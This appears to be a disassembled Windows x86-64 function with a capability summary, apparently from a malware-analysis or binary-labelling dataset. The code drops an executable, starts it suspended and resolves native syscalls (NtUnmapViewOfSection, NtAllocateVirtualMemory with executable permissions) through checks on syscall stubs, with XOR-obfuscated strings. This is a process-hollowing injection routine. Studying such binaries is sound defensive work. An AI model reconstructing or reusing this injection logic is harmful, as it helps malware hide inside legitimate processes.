Function at 0x14018c1f4
Capabilities:
Create process on windows
Delete file
Parse pe header
Patch process command line
Resolve function by parsing pe exports
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x2680
call fcn.140cd95f0
sub rsp, rax
mov r13, rdx
mov r12, rcx
xor esi, esi
mov rax, qword [rdx + 8]
cmp qword [rdx], rax
je 0x14018f4d4
mov rax, qword [0x1410a1010]
cmp byte [rax + 0x40], sil
je 0x14018ca65
xorps xmm0, xmm0
movups xmmword [rsp + 0x728], xmm0
mov qword [rsp + 0x738], 6
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x740], r14
mov eax, dword [str.SPURDO]
mov dword [rsp + 0x728], eax
movzx eax, word [0x140fcbeec]
mov word [rsp + 0x72c], ax
mov byte [rsp + 0x72e], sil
lea r9, [rsp + 0x728]
lea rdx, [rsp + 0xd70]
call fcn.14016485c
mov rdi, rax
mov r8, qword [0x1410a1010]
mov rdx, qword [r8 + 0x10]
movabs rbx, 0x7fffffffffffffff
mov rcx, rbx
sub rcx, rdx
lea r15d, [r14 - 3]
cmp rcx, r15
jb 0x14018f62c
mov r9, r8
cmp qword [r8 + 0x18], r14
jbe 0x14018c2cc
mov r9, qword [r8]
mov qword [rsp + 0x30], r15
lea rax, str.assetsmisc_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov dl, byte [rsp + 0x26c8]
lea rcx, [rsp + 0x1540]
call fcn.14015cbec
nop
mov r9, rdi
lea r8, [rsp + 0x1540]
mov dl, byte [rsp + 0x26c8]
lea rcx, [rsp + 0x8c8]
call fcn.1401910d0
nop
mov r8d, 4
lea rdx, str..exe
lea rcx, [rsp + 0x8c8]
call fcn.140155eac
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xe0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r14
mov byte [rax], sil
mov rdx, qword [rsp + 0x8e0]
mov r12d, 0x1000
cmp rdx, r14
jbe 0x14018c3b2
inc rdx
mov rcx, qword [rsp + 0x8c8]
mov rax, rcx
cmp rdx, r12
jb 0x14018c3ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14018f632
call fcn.140cd8948
mov qword [rsp + 0x8d8], rsi
mov qword [rsp + 0x8e0], r14
mov byte [rsp + 0x8c8], sil
mov rdx, qword [rsp + 0x1558]
cmp rdx, r14
jbe 0x14018c409
inc rdx
mov rcx, qword [rsp + 0x1540]
mov rax, rcx
cmp rdx, r12
jb 0x14018c403
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14018f638
call fcn.140cd8948
nop
mov rdx, qword [rsp + 0xd88]
cmp rdx, r14
jbe 0x14018c447
inc rdx
mov rcx, qword [rsp + 0xd70]
mov rax, rcx
cmp rdx, r12
jb 0x14018c442
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14018f63e
call fcn.140cd8948
mov qword [rsp + 0xd80], rsi
mov qword [rsp + 0xd88], r14
mov byte [rsp + 0xd70], sil
mov r8, qword [0x1410a1010]
mov rax, qword [r8 + 0x10]
sub rbx, rax
cmp rbx, r15
jb 0x14018f644
mov r9, r8
cmp qword [r8 + 0x18], r14
jbe 0x14018c482
mov r9, qword [r8]
mov qword [rsp + 0x30], r15
lea rcx, str.assetsmisc_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov dl, byte [rsp + 0x26c8]
lea rcx, [rsp + 0x8a8]
call fcn.14015cbec
nop
lea rax, [rsp + 0x8a8]
cmp qword [rsp + 0x8c0], r14
cmova rax, qword [rsp + 0x8a8]
mov qword [rsp + 0x980], rax
mov rax, qword [rsp + 0x8b8]
mov qword [rsp + 0x988], rax
movaps xmm0, xmmword [rsp + 0x980]
movdqa xmmword [rsp + 0x10f0], xmm0
lea rdx, [rsp + 0x10f0]
lea rcx, [rsp + 0x1098]
call fcn.140162e48
nop
xorps xmm0, xmm0
movdqa xmmword [rsp + 0xc0], xmm0
lea rdx, [rsp + 0x1098]
lea rcx, [rsp + 0xc0]
call fcn.140172970
test eax, eax
jne 0x14018f64a
lea rcx, [rsp + 0x1098]
call fcn.140162508
nop
mov rdx, qword [rsp + 0x8c0]
cmp rdx, r14
jbe 0x14018c57a
inc rdx
mov rcx, qword [rsp + 0x8a8]
mov rax, rcx
cmp rdx, r12
jb 0x14018c575
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14018f661
call fcn.140cd8948
mov rbx, qword [rsp + 0xc8]
test rbx, rbx
je 0x14018c593
lock inc dword [rbx + 8]
mov rbx, qword [rsp + 0xc8]
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x190], xmm0
test rbx, rbx
je 0x14018c5b5
lock inc dword [rbx + 8]
mov rbx, qword [rsp + 0xc8]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x990], xmm1
or r15, 0xffffffffffffffff
test rbx, rbx
je 0x14018c60f
mov eax, r15d
lock xadd dword [rbx + 8], eax
add eax, r15d
jne 0x14018c607
mov rbx, qword [rsp + 0xc8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
add eax, r15d
jne 0x14018c607
mov rbx, qword [rsp + 0xc8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x14018c60f
mov rbx, qword [rsp + 0xc8]
mov rdi, qword [rsp + 0x190]
cmp rdi, qword [rsp + 0x990]
je 0x14018c6ec
add rdi, 0x20
lea rdx, [rsp + 0x1680]
mov rcx, rdi
call fcn.140160304
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], r14
jbe 0x14018c646
mov rax, qword [rax]
mov qword [rsp + 0x20], 6
lea r9, str.dv.bin
xor r8d, r8d
mov rcx, rax
call fcn.140172fd4
mov qword [rsp + 0x26d0], rax
mov rdx, qword [rsp + 0x1698]
cmp rdx, r14
jbe 0x14018c6af
inc rdx
mov rcx, qword [rsp + 0x1680]
mov rax, rcx
cmp rdx, r12
jb 0x14018c6a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14018f667
call fcn.140cd8948
mov rax, qword [rsp + 0x26d0]
cmp rax, r15
jne 0x14018c6d2
mov rcx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14018c6c1
mov rcx, qword [rdi]
call fcn.140cdb21c
shr rax, 0x20
test eax, eax
jne 0x14018f66d
lea rcx, [rsp + 0x190]
call fcn.14016d198
test eax, eax
jne 0x14018f67e
jmp 0x14018c60f
mov rcx, qword [rsp + 0x198]
test rcx, rcx
je 0x14018c739
mov eax, r15d
lock xadd dword [rcx + 8], eax
add eax, r15d
jne 0x14018c731
mov rbx, qword [rsp + 0x198]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
add eax, r15d
jne 0x14018c731
mov rcx, qword [rsp + 0x198]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rsp + 0xc8]
test rbx, rbx
je 0x14018c777
mov eax, r15d
lock xadd dword [rbx + 8], eax
add eax, r15d
jne 0x14018c777
mov rbx, qword [rsp + 0xc8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
add eax, r15d
jne 0x14018c777
mov rcx, qword [rsp + 0xc8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
jmp 0x14018c78d
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x1c00]
call fcn.1401673dc
nop
mov rax, qword [rsp + 0x1c00]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x1c10], 6
jne 0x14018f68d
mov r8, qword [r13 + 8]
sub r8, qword [r13]
mov rdx, qword [r13]
lea rcx, [rsp + 0x1c00]
call fcn.140168dd8
lea rcx, [rsp + 0x1c00]
call fcn.1401672c0
mov dword [rsp + 0x1ef0], 0x68
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rsp + 0x1ef8]
call fcn.140da1bb0
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], r14
cmova rcx, qword [rsp + 0xd0]
lea rax, [rsp + 0x1080]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1ef0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14018c958
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], r14
cmova rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
lea rcx, [rsp + 0x1ca8]
call fcn.14016735c
nop
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x1ca8], rax
lea rcx, [rsp + 0x1ca8]
call fcn.140cdba58
nop
mov rdx, qword [rsp + 0xe8]
cmp rdx, r14
jbe 0x14018c8e9
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, r12
jb 0x14018c8e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14018f7e5
call fcn.140cd8948
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], r14
mov byte [rsp + 0xd0], sil
mov rcx, qword [r13]
test rcx, rcx
je 0x14018c943
mov rdx, qword [r13 + 0x10]
sub rdx, rcx
cmp rdx, r12
jb 0x14018c932
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14018f7eb
mov rcx, r8
call fcn.140cd8948
mov qword [r13], rsi
mov qword [r13 + 8], rsi
mov qword [r13 + 0x10], rsi
xor eax, eax
add rsp, 0x2680
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
mov rcx, qword [rsp + 0x1088]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x1080]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0xd0]
cmp qword [rsp + 0xe8], r14
cmova rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [rsp + 0x1090]
lea rcx, [rsp + 0x1ca8]
call fcn.14016735c
nop
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x1ca8], rax
lea rcx, [rsp + 0x1ca8]
call fcn.140cdba58
nop
mov rdx, qword [rsp + 0xe8]
cmp rdx, r14
jbe 0x14018ca03
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, r12
jb 0x14018c9fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14018f7e5
call fcn.140cd8948
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xe8], r14
mov byte [rsp + 0xd0], sil
mov rcx, qword [r13]
test rcx, rcx
je 0x14018ca5d
mov rdx, qword [r13 + 0x10]
sub rdx, rcx
cmp rdx, r12
jb 0x14018ca4c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14018f7eb
mov rcx, r8
call fcn.140cd8948
mov qword [r13], rsi
mov qword [r13 + 8], rsi
mov qword [r13 + 0x10], rsi
mov rax, rbx
jmp 0x14018c945
movabs rbx, 0xa555512841de1ea1
mov qword [rsp + 0x270], rbx
movabs rdi, 0x213cca25792cea08
mov qword [rsp + 0x278], rdi
movabs r14, 0xc9317f442dba6acf
mov qword [rsp + 0x140], r14
movabs r15, 0x213cca25792cea64
mov qword [rsp + 0x148], r15
movdqa xmm0, xmmword [rsp + 0x270]
xorps xmm0, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x270], xmm0
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14018cb2b
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], rdi
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x148], r15
movdqa xmm0, xmmword [rsp + 0x200]
xorps xmm0, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x200], xmm0
lea rcx, [rsp + 0x200]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14018f7f1
mov ebx, 0x68
mov ecx, ebx
call fcn.140cd8ad8
mov rdi, rax
mov r8d, ebx
xor edx, edx
mov rcx, rax
call fcn.140da1bb0
mov qword [rsp + 0x188], rdi
lea ecx, [rbx - 0x50]
call fcn.140cd8ad8
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rsp + 0x98], rbx
lea rcx, [rsp + 0x720]
call fcn.140191494
mov dword [rsp + 0x160], eax
test eax, eax
jne 0x14018f9b6
mov r14d, reloc.WS2_32.dll_ntohs
cmp qword [r12 + 0x18], r14
jbe 0x14018cb9b
mov r12, qword [r12]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], reloc.WS2_32.dll_inet_ntoa
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, r12
xor edx, edx
mov rcx, qword [rsp + 0x720]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x14018f2fb
cmp qword [rbx], rsi
je 0x14018f2fb
mov r12, qword [0x1410a1040]
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x3d0], rax
movabs rax, 0x158af5118499827
mov qword [rsp + 0x3d8], rax
movabs rax, 0x77565b1f2ace33b1
mov qword [rsp + 0x3e0], rax
movabs rax, 0xf33b3a3bf786dca1
mov qword [rsp + 0x3e8], rax
movabs rax, 0x4afdbd404cb2ea19
mov qword [rsp + 0x3f0], rax
movabs rdx, 0x23c87131ea9e4dd8
mov qword [rsp + 0x3f8], rdx
movabs rcx, 0xc9317f442dba6acf
mov qword [rsp + 0xf90], rcx
movabs rcx, 0x213cca25792cea64
mov qword [rsp + 0xf98], rcx
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xfa0], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xfa8], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xfb0], rax
mov qword [rsp + 0xfb8], rdx
movdqa xmm0, xmmword [rsp + 0x3d0]
xorps xmm0, xmmword [rsp + 0xf90]
movdqa xmmword [rsp + 0x3d0], xmm0
movdqa xmm1, xmmword [rsp + 0x3e0]
xorps xmm1, xmmword [rsp + 0xfa0]
movdqa xmmword [rsp + 0x3e0], xmm1
movdqa xmm0, xmmword [rsp + 0x3f0]
xorps xmm0, xmmword [rsp + 0xfb0]
movdqa xmmword [rsp + 0x3f0], xmm0
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x9b0], rax
lea rcx, [rsp + 0x3d0]
or r15, 0xffffffffffffffff
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018cd29
mov qword [rsp + 0x9b8], rax
mov eax, dword [rbx + 0x10]
mov dword [rsp + 0x15f0], eax
movaps xmm0, xmmword [rsp + 0x15f0]
movdqa xmmword [rsp + 0x15e0], xmm0
mov qword [rsp + 0x9a0], 2
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0x9a8], rax
movaps xmm0, xmmword [rsp + 0x9a0]
movdqa xmmword [rsp + 0x15d0], xmm0
movaps xmm1, xmmword [rsp + 0x9b0]
movdqa xmmword [rsp + 0x15c0], xmm1
lea r8, [rsp + 0x15d0]
lea rdx, [rsp + 0x15c0]
lea rcx, [rsp + 0x888]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x888]
mov rcx, r12
call fcn.1401627f4
nop
mov rdx, qword [rsp + 0x8a0]
mov r12d, 0x1000
cmp rdx, r14
jbe 0x14018ce06
inc rdx
mov rcx, qword [rsp + 0x888]
mov rax, rcx
cmp rdx, r12
jb 0x14018ce01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14018fb6e
call fcn.140cd8948
mov qword [rsp + 0x898], rsi
mov qword [rsp + 0x8a0], r14
mov byte [rsp + 0x888], sil
lea rcx, [rsp + 0x210]
call fcn.14018c0a0
mov rax, qword [rbx]
mov qword [rsp + 0xb0], rax
cmp byte [rsp + 0x214], sil
jne 0x14018ce4d
mov dword [rsp + 0x60], 0xfffffffa
jmp 0x14018fb74
lea rcx, [rsp + 0x210]
call fcn.14018c16c
mov dword [rsp + 0x26d0], esi
lea rax, [0x141333618]
mov qword [rsp + 0xa0], rax
mov rcx, rax
mov qword [rsp + 0x26d8], rax
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x14018cec9
mov eax, dword [rsp + 0x26d0]
inc eax
mov dword [rsp + 0x26d0], eax
mov rcx, qword [rsp + 0x26d8]
add rcx, 8
mov qword [rsp + 0x26d8], rcx
cmp eax, 2
jb 0x14018ce7b
mov dword [rsp + 0x60], 0xfffffffc
jmp 0x14018fb74
cmp dword [rax], 0xb8d18b4c
je 0x14018cede
mov dword [rsp + 0x60], 0xfffffffd
jmp 0x14018fb74
movzx eax, byte [rax + 4]
mov r10, qword [rsp + 0x218]
mov dword [r10 + 4], eax
cmp dword [rsp + 0x26d0], 1
jne 0x14018cf0d
movups xmm0, xmmword [rcx]
movups xmmword [r10], xmm0
mov eax, dword [rcx + 0x10]
mov dword [r10 + 0x10], eax
mov al, byte [rcx + 0x14]
mov byte [r10 + 0x14], al
mov dword [rsp + 0x210], esi
mov qword [rsp + 0x20], rsi
mov r9d, getprotobyname
lea r8, [rsp + 0x1bc8]
xor edx, edx
mov rcx, qword [rsp + 0xb0]
call r10
mov dword [rsp + 0x60], eax
test eax, eax
js 0x14018fb74
lea rcx, [rsp + 0x220]
call fcn.14018c0a0
mov rax, qword [rsp + 0x1bd0]
mov qword [rsp + 0xb0], rax
mov rax, qword [rbx]
mov qword [rsp + 0xb8], rax
cmp byte [rsp + 0x224], sil
je 0x14018fd4b
lea rcx, [rsp + 0x220]
call fcn.14018c16c
mov dword [rsp + 0x26d0], esi
lea rcx, [0x141333618]
mov qword [rsp + 0x26d8], rcx
lea rdx, str.NtReadVirtualMemory
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x14018cfe0
mov eax, dword [rsp + 0x26d0]
inc eax
mov dword [rsp + 0x26d0], eax
mov rcx, qword [rsp + 0x26d8]
add rcx, 8
mov qword [rsp + 0x26d8], rcx
cmp eax, 2
jae 0x14018fd4b
jmp 0x14018cf99
cmp dword [rax], 0xb8d18b4c
jne 0x14018fd4b
movzx eax, byte [rax + 4]
mov r10, qword [rsp + 0x228]
mov dword [r10 + 4], eax
cmp dword [rsp + 0x26d0], 1
jne 0x14018d01b
movups xmm0, xmmword [rcx]
movups xmmword [r10], xmm0
mov eax, dword [rcx + 0x10]
mov dword [r10 + 0x10], eax
mov al, byte [rcx + 0x14]
mov byte [r10 + 0x14], al
mov dword [rsp + 0x220], esi
mov qword [rsp + 0x20], rsi
mov r9d, 0x248
lea r8, [rsp + 0x1f60]
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb8]
call r10
test eax, eax
js 0x14018fd4b
mov rax, qword [r13]
test rax, rax
je 0x140190dae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140190dae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov qword [rsp + 0xa8], rcx
je 0x140190c34
cmp dword [rcx], 0x4550
jne 0x140190c34
lea rcx, [rsp + 0x128]
call fcn.14018c0a0
mov rax, qword [rsp + 0x1f70]
mov qword [rsp + 0xb0], rax
mov rax, qword [rbx]
mov qword [rsp + 0xb8], rax
cmp byte [rsp + 0x12c], sil
je 0x14018ff32
lea rcx, [rsp + 0x128]
call fcn.14018c16c
mov dword [rsp + 0x26d0], esi
lea rcx, [0x141333618]
mov qword [rsp + 0x26d8], rcx
lea rdx, str.NtUnmapViewOfSection
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x14018d13e
mov eax, dword [rsp + 0x26d0]
inc eax
mov dword [rsp + 0x26d0], eax
mov rcx, qword [rsp + 0x26d8]
add rcx, 8
mov qword [rsp + 0x26d8], rcx
cmp eax, 2
jb 0x14018d0e5
mov dword [rsp + 0x128], 0xfffffffc
mov dword [rsp + 0x60], 0xfffffffc
jmp 0x14018ff45
cmp dword [rax], 0xb8d18b4c
je 0x14018d15e
mov dword [rsp + 0x128], 0xfffffffd
mov dword [rsp + 0x60], 0xfffffffd
jmp 0x14018ff45
movzx eax, byte [rax + 4]
mov r8, qword [rsp + 0x130]
mov dword [r8 + 4], eax
cmp dword [rsp + 0x26d0], 1
jne 0x14018d18d
movups xmm0, xmmword [rcx]
movups xmmword [r8], xmm0
mov eax, dword [rcx + 0x10]
mov dword [r8 + 0x10], eax
mov al, byte [rcx + 0x14]
mov byte [r8 + 0x14], al
mov dword [rsp + 0x128], esi
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb8]
call r8
mov dword [rsp + 0x60], eax
test eax, eax
js 0x14018ff45
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x26d0], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x3a0], rax
movabs rax, 0x4559ba5518418431
mov qword [rsp + 0x3a8], rax
movabs rax, 0x364b411d20d32ee1
mov qword [rsp + 0x3b0], rax
movabs rax, 0x96170d7af29b95ba
mov qword [rsp + 0x3b8], rax
movabs r8, 0x4afdbd4031c9ca23
mov qword [rsp + 0x3c0], r8
movabs rdx, 0x23c87131ea9e4dd8
mov qword [rsp + 0x3c8], rdx
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xff0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xff8], rax
movabs rcx, 0x5725287a49a141c1
mov qword [rsp + 0x1000], rcx
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0x1008], rax
mov qword [rsp + 0x1010], r8
mov qword [rsp + 0x1018], rdx
movdqa xmm0, xmmword [rsp + 0x3a0]
xorps xmm0, xmmword [rsp + 0xff0]
movdqa xmmword [rsp + 0x3a0], xmm0
movdqa xmm1, xmmword [rsp + 0x3b0]
xorps xmm1, xmmword [rsp + 0x1000]
movdqa xmmword [rsp + 0x3b0], xmm1
movdqa xmm0, xmmword [rsp + 0x3c0]
xorps xmm0, xmmword [rsp + 0x1010]
movdqa xmmword [rsp + 0x3c0], xmm0
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0x9d0], rax
lea rcx, [rsp + 0x3a0]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018d2ef
mov qword [rsp + 0x9d8], rax
mov qword [rsp + 0x9c0], rsi
lea rax, [rsp + 0x19f8]
mov qword [rsp + 0x9c8], rax
movaps xmm0, xmmword [rsp + 0x9c0]
movdqa xmmword [rsp + 0x1580], xmm0
movaps xmm1, xmmword [rsp + 0x9d0]
movdqa xmmword [rsp + 0x1570], xmm1
lea r8, [rsp + 0x1580]
lea rdx, [rsp + 0x1570]
lea rcx, [rsp + 0x868]
call fcn.140aa3350
nop
lea rdx, [rsp + 0x868]
mov rcx, qword [rsp + 0x26d0]
call fcn.1401627f4
nop
mov rdx, qword [rsp + 0x880]
cmp rdx, r14
jbe 0x14018d3ac
inc rdx
mov rcx, qword [rsp + 0x868]
mov rax, rcx
cmp rdx, r12
jb 0x14018d3a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401901a4
call fcn.140cd8948
mov qword [rsp + 0x878], rsi
mov qword [rsp + 0x880], r14
mov byte [rsp + 0x868], sil
lea rcx, [rsp + 0x118]
call fcn.14018c0a0
mov rcx, qword [rsp + 0xa8]
mov eax, dword [rcx + 0x50]
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x1f70]
mov qword [rsp + 0x70], rax
mov rax, qword [rbx]
mov qword [rsp + 0x26d8], rax
cmp byte [rsp + 0x11c], sil
je 0x1401901aa
lea rcx, [rsp + 0x118]
call fcn.14018c16c
mov dword [rsp + 0x26d0], esi
lea rcx, [0x141333618]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x14018d47e
mov eax, dword [rsp + 0x26d0]
inc eax
mov dword [rsp + 0x26d0], eax
mov rcx, qword [rsp + 0xa0]
add rcx, 8
mov qword [rsp + 0xa0], rcx
cmp eax, 2
jb 0x14018d425
mov dword [rsp + 0x118], 0xfffffffc
mov dword [rsp + 0x60], 0xfffffffc
jmp 0x1401901bd
cmp dword [rax], 0xb8d18b4c
je 0x14018d49e
mov dword [rsp + 0x118], 0xfffffffd
mov dword [rsp + 0x60], 0xfffffffd
jmp 0x1401901bd
movzx eax, byte [rax + 4]
mov r10, qword [rsp + 0x120]
mov dword [r10 + 4], eax
cmp dword [rsp + 0x26d0], 1
jne 0x14018d4cd
movups xmm0, xmmword [rcx]
movups xmmword [r10], xmm0
mov eax, dword [rcx + 0x10]
mov dword [r10 + 0x10], eax
mov al, byte [rcx + 0x14]
mov byte [r10 + 0x14], al
mov dword [rsp + 0x118], esi
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x718]
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x26d8]
call r10
mov dword [rsp + 0x60], eax
mov ecx, 0xc0000000
and eax, ecx
cmp eax, ecx
je 0x1401901bd
mov rax, qword [0x1410a1040]
mov qword [rsp + 0x26d0], rax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x4a0], rax
movabs rax, 0x4448ab4616408625
mov qword [rsp + 0x4a8], rax
movabs rax, 0x2e5747172ccc61a5
mov qword [rsp + 0x4b0], rax
movabs rax, 0xd21a1e3bed9dd3f6
mov qword [rsp + 0x4b8], rax
movabs rax, 0x2b90d46046aca403
mov qword [rsp + 0x4c0], rax
movabs rax, 0x5bf851458bbe28bf
mov qword [rsp + 0x4c8], rax
movabs rax, 0x4f0af7e61a3332fe
mov qword [rsp + 0x4d0], rax
movabs rcx, 0xf6db5247668a7dfa
mov qword [rsp + 0x4d8], rcx
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xc90], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xc98], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xca0], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xca8], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xcb0], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0xcb8], rax
movabs rax, 0x4f0af7e6676b0885
mov qword [rsp + 0xcc0], rax
mov qword [rsp + 0xcc8], rcx
movdqa xmm0, xmmword [rsp + 0x4a0]
xorps xmm0, xmmword [rsp + 0xc90]
movdqa xmmword [rsp + 0x4a0], xmm0
movdqa xmm1, xmmword [rsp + 0x4b0]
xorps xmm1, xmmword [rsp + 0xca0]
movdqa xmmword [rsp + 0x4b0], xmm1
movdqa xmm0, xmmword [rsp + 0x4c0]
xorps xmm0, xmmword [rsp + 0xcb0]
movdqa xmmword [rsp + 0x4c0], xmm0
movdqa xmm1, xmmword [rsp + 0x4d0]
xorps xmm1, xmmword [rsp + 0xcc0]
movdqa xmmword [rsp + 0x4d0], xmm1
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x9f0], rax
lea rcx, [rsp + 0x4a0]
mov rax, r15
inc rax
cmp byte [rcx + rax], sil
jne 0x14018d6ba
mov qword [rsp + 0x9f8], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x1440], rax
movaps xmm0, xmmword [rsp + 0x1440]
movdqa xmmword [rsp + 0x1430], xmm0
mov qword [rsp + 0x9e0], 4
lea rax, [rsp + 0x1430]
mov qword [rsp + 0x9e8], rax
movaps xmm0, xmmword [rsp + 0x9e0]
movdqa xmmword [rsp + 0x1420], xmm0
movaps xmm1, xmmword [rsp + 0x9f0]
movdqa xmmword [rsp + 0x1410], xmm1
lea r8, [rsp + 0x1420]
lea rdx, [rsp + 0x1410]
lea rcx, [rsp + 0x848]
call fcn.140aa3350
nop
